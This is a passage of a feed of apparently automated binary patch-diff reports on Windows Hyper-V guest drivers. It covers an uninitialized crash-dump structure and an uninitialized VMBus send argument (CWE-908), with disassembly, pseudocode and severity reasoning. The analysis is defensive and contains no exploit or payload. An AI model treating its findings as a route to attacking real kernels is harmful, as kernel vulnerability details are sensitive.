- &lt;code&gt;dq poi(rbp+7) L2&lt;/code&gt; — the first QWORD is &lt;code&gt;0x0000001200000006&lt;/code&gt;; the second QWORD is the trailing 8 bytes. In the unpatched build it may be non-zero (stale stack); in the patched build it is zero.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;@0x1C0002E68&lt;/code&gt;, patched &lt;code&gt;@0x1C0002FE0&lt;/code&gt;; Security Relevant):&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; adds &lt;code&gt;mov qword [rbp+0x37], 0&lt;/code&gt; and &lt;code&gt;mov qword [rbp+0x3f], 0&lt;/code&gt; (from &lt;code&gt;xor eax,eax&lt;/code&gt;) to zero the full 16-byte stack structure before setting the two DWORD fields. Defines the previously uninitialized 8-byte tail. This is the fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CrashdumpShim::GetDumpInfo&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;@0x1C00019E8&lt;/code&gt;, patched &lt;code&gt;@0x1C0001AF8&lt;/code&gt;; Behavioral, low security relevance):&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; caller of the fixed function. The substantive change is that the patched build adds three &lt;code&gt;WdfRequestComplete&lt;/code&gt; calls (KMDF table offset &lt;code&gt;0x838&lt;/code&gt;): on the &lt;code&gt;0x148&lt;/code&gt; pool-allocation failure, the &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt; failure, and the &lt;code&gt;RtlGetVersion&lt;/code&gt; failure paths. In the unpatched build these three paths return without completing the WDF request, so the request is left pending (caller hang / resource leak) when one of those failures occurs. The unpatched build already completes the request on the earlier input-validation and &lt;code&gt;0xC0&lt;/code&gt;-allocation failures, and on the success path. The remaining differences are compiler register-allocation, global/string reference offsets shifted by the newly added globals, and updated debug line-number constants. The request-buffer validation logic is identical between builds. This is a robustness fix on abnormal (allocation / version-query) failure paths, not a directly attacker-controlled primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Diagnostics::NtStatus_ResultErrorCallback&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;@0x1C00010BC&lt;/code&gt;; Behavioral, not security):&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; the error-reporting helper. Its &lt;code&gt;DbgPrint&lt;/code&gt; call is now guarded by a new global flag &lt;code&gt;Diagnostics::g_DbgPrintOnError&lt;/code&gt; (set from a &lt;code&gt;DebugFlags&lt;/code&gt; registry value); in the unpatched build it was unconditional. Blocks reordered and the stack-cookie check target relocated. A debug-logging feature, not a security fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DriverEntry&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;@0x1C000A008&lt;/code&gt;; Behavioral, not security):&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; adds a call to the new &lt;code&gt;Diagnostics::Initialize&lt;/code&gt; (which reads the &lt;code&gt;DebugFlags&lt;/code&gt; registry value and populates the debug-logging globals). Stack layout and a debug line-number constant shift. A debug feature, not a security fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added (patched only):&lt;/strong&gt; &lt;code&gt;Diagnostics::Initialize&lt;/code&gt; (&lt;code&gt;@0x1C00011F8&lt;/code&gt;) — reads the &lt;code&gt;DebugFlags&lt;/code&gt; registry value and sets the debug-logging globals used by &lt;code&gt;Diagnostics::NtStatus_ResultErrorCallback&lt;/code&gt;. Not security relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; none.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the mechanism is a real uninitialized-memory fix: both builds and both the decompilation and disassembly show the same 16-byte structure, the missing 8-byte initialization in the unpatched build, and the two added zeroing writes in the patched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity rationale:&lt;/strong&gt; Low. The routine is on the crash-dump writer setup path, the trigger is a device-control request handled by the crash-dump shim rather than an ordinary untrusted surface, and the leaked bytes move between kernel-mode components. No cross-privilege or guest-boundary disclosure is demonstrable from the binaries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not claimed:&lt;/strong&gt; there is no evidence in the binaries that the trigger is a VMBus message, that the data is transmitted to the Hyper-V host, or that specific sensitive values (pointers, cookies) are disclosed. Such claims are not supported and are not made here.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>hypervideo.sys — Uninitialized 7th argument to VMBus channel send on the bugcheck-display path (CWE-908) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/hypervideo_040e56ac-hypervideo-report-20260629-005556.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/hypervideo_040e56ac-hypervideo-report-20260629-005556.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hypervideo_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hypervideo_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9918&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;71&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;69&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched / patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; Two functions changed between the builds.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finding A — &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0):&lt;/strong&gt; the patch adds explicit initialization (&lt;code&gt;= 0&lt;/code&gt;) of a 7th outgoing stack argument (&lt;code&gt;[rsp+0x30]&lt;/code&gt;) that the unpatched build never wrote before dispatching an indirect call to the VMBus channel-send function pointer. This matches the use-of-uninitialized-memory pattern (CWE-908). Its reachable impact is limited: the argument is a 32-bit slot, the call sits on the guest &lt;strong&gt;bugcheck / crash-display&lt;/strong&gt; path (not routine rendering), and the callee is an external VMBus-library function reached through the channel object's function-pointer table, so whether that argument is actually consumed — and therefore whether any kernel data is disclosed — cannot be confirmed from this driver alone. Severity: &lt;strong&gt;Low&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finding B — &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0):&lt;/strong&gt; the patch grows a SynthVid IOCTL message from 8 to 16 bytes. In &lt;strong&gt;both&lt;/strong&gt; builds every byte covered by &lt;code&gt;InputBufferLength&lt;/code&gt; is fully initialized, so no uninitialized memory is transmitted in either direction. This is a &lt;strong&gt;protocol message-size change&lt;/strong&gt;, not an information-disclosure fix. Downgraded to &lt;strong&gt;No security-relevant change&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding A — Uninitialized 7th argument to VMBus channel send (&lt;code&gt;CrashHvdSendMessage&lt;/code&gt; @ 0x1C00018B0)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use of uninitialized memory (CWE-908)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Initialization of a previously-unwritten outgoing stack argument; host-side disclosure unconfirmed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; sends a packet by loading a function pointer from the VMBus channel object (&lt;code&gt;rax = [rsi+0x10]&lt;/code&gt;, where &lt;code&gt;rsi = [rcx+0x270]&lt;/code&gt;) and dispatching it through the Control-Flow-Guard indirect-call dispatcher (&lt;code&gt;call cs:__guard_dispatch_icall_fptr&lt;/code&gt;). Under the x64 calling convention the 7th argument lives at &lt;code&gt;[rsp+0x30]&lt;/code&gt;. The unpatched build sets up only six outgoing arguments before the call: &lt;code&gt;rcx = *rsi&lt;/code&gt;, &lt;code&gt;edx = 1&lt;/code&gt;, &lt;code&gt;r8d = 0&lt;/code&gt;, &lt;code&gt;r9 = packet data&lt;/code&gt;, &lt;code&gt;[rsp+0x20] = packet size&lt;/code&gt;, &lt;code&gt;[rsp+0x28] = 0&lt;/code&gt;. The stack slot &lt;code&gt;[rsp+0x30]&lt;/code&gt; is never written. The patch inserts &lt;code&gt;mov [rsp+0x30], ebx&lt;/code&gt; (with &lt;code&gt;ebx&lt;/code&gt; already zeroed) at 0x1C0001906, so the patched build passes a seventh argument equal to 0.&lt;/p&gt;
&lt;p&gt;Because the callee is an external function reached only through the channel object's function-pointer table (populated by the VMBus channel library, not this module), the callee's true parameter count is not visible in these binaries. If the callee reads seven parameters, the unpatched build passed it up to four bytes of uninitialized kernel-stack data; if it reads six, the slot is harmless. That ambiguity is why this finding is rated Low and the disclosure is stated as unconfirmed rather than demonstrated.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;DriverEntry&lt;/code&gt; (0x1C000C008) publishes the miniport callback table; &lt;code&gt;HvdDdiSystemDisplayWrite&lt;/code&gt; is stored at table slot &lt;code&gt;[35]&lt;/code&gt; and &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; at slot &lt;code&gt;[2]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CrashHvdSendMessage&lt;/code&gt; has exactly two in-module callers: &lt;code&gt;HvdDdiSystemDisplayWrite&lt;/code&gt; (0x1C0001490) and &lt;code&gt;CrashHvdInitialize&lt;/code&gt; (0x1C0001764). Both are part of the crash/bugcheck synthetic-video path (&lt;code&gt;DxgkDdiSystemDisplayWrite&lt;/code&gt; is the callback the OS uses to paint the screen during a bugcheck, when the normal display pipeline is unavailable).&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;CrashHvdSendMessage&lt;/code&gt;, the send is retried up to &lt;code&gt;0x4E20&lt;/code&gt; (20000) times with a 50 µs &lt;code&gt;KeStallExecutionProcessor&lt;/code&gt; stall between attempts. The 7th-argument slot is passed on each attempt.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding B — SynthVid IOCTL message grown from 8 to 16 bytes (&lt;code&gt;HvdDdiStartDevice&lt;/code&gt; @ 0x1C00074B0)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (no security-relevant change)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Protocol/functional change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None — both builds send fully-initialized input&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; During adapter start, &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; issues IOCTL &lt;code&gt;0x3EC080&lt;/code&gt; (METHOD_BUFFERED; device type &lt;code&gt;0x3E&lt;/code&gt;, function &lt;code&gt;0x20&lt;/code&gt;) to the VMBus device object (&lt;code&gt;*(arg1+8)&lt;/code&gt;). The unpatched build builds an 8-byte input &lt;code&gt;{DWORD 6, DWORD 6}&lt;/code&gt; and passes &lt;code&gt;InputBufferLength = 8&lt;/code&gt;; the patched build builds a 16-byte input &lt;code&gt;{6, 6, 0, 0}&lt;/code&gt; and passes &lt;code&gt;InputBufferLength = 0x10&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In both builds every byte the driver declares as input is explicitly initialized before the call. The unpatched build writes both dwords of its 8-byte buffer and declares length 8; the patched build zero-initializes all 16 bytes near the top of the function (&lt;code&gt;[rbp+0x1b0]&lt;/code&gt; and &lt;code&gt;[rbp+0x1b8]&lt;/code&gt; at 0x1C00074EC / 0x1C0007500), then sets the first qword to &lt;code&gt;0x600000006&lt;/code&gt; and declares length 16. Under METHOD_BUFFERED the receiver reads exactly &lt;code&gt;InputBufferLength&lt;/code&gt; bytes; the remaining bytes of the I/O-manager &lt;code&gt;SystemBuffer&lt;/code&gt; (up to &lt;code&gt;OutputBufferLength = 0x20&lt;/code&gt;) are output scratch owned by the receiver, not attacker-visible input. Consequently neither build transmits uninitialized kernel memory. The change is a SynthVid message-format extension (an 8-byte message became a 16-byte message with the new fields set to 0), i.e. a functional/protocol change with no information-disclosure content.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding A — &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0)&lt;/h3&gt;
&lt;p&gt;The decompiled C is byte-for-byte identical between the two builds because the decompiler models the indirect callee as a two-argument function pointer and cannot represent the extra outgoing stack arguments. The change is visible only in the disassembly (Section 4). For reference, the shared decompiler view is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Identical in both builds (decompiler cannot see the stack-argument change)&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CrashHvdSendMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;624&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// channel object&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;-1073741823&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_UNSUCCESSFUL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeStallExecutionProcessor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x32u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 50 us&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding B — &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ── UNPATCHED ──────────────────────────────────────────────&lt;/span&gt;
&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// 8-byte buffer&lt;/span&gt;
&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// fully written&lt;/span&gt;
&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// fully written&lt;/span&gt;
&lt;span class="n"&gt;KeInitializeEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NotificationEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoBuildDeviceIoControlRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x3EC080u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// InputBufferLength = 8, all 8 bytes valid&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;624&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;IoStatusBlock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// ── PATCHED ────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// 16-byte buffer&lt;/span&gt;
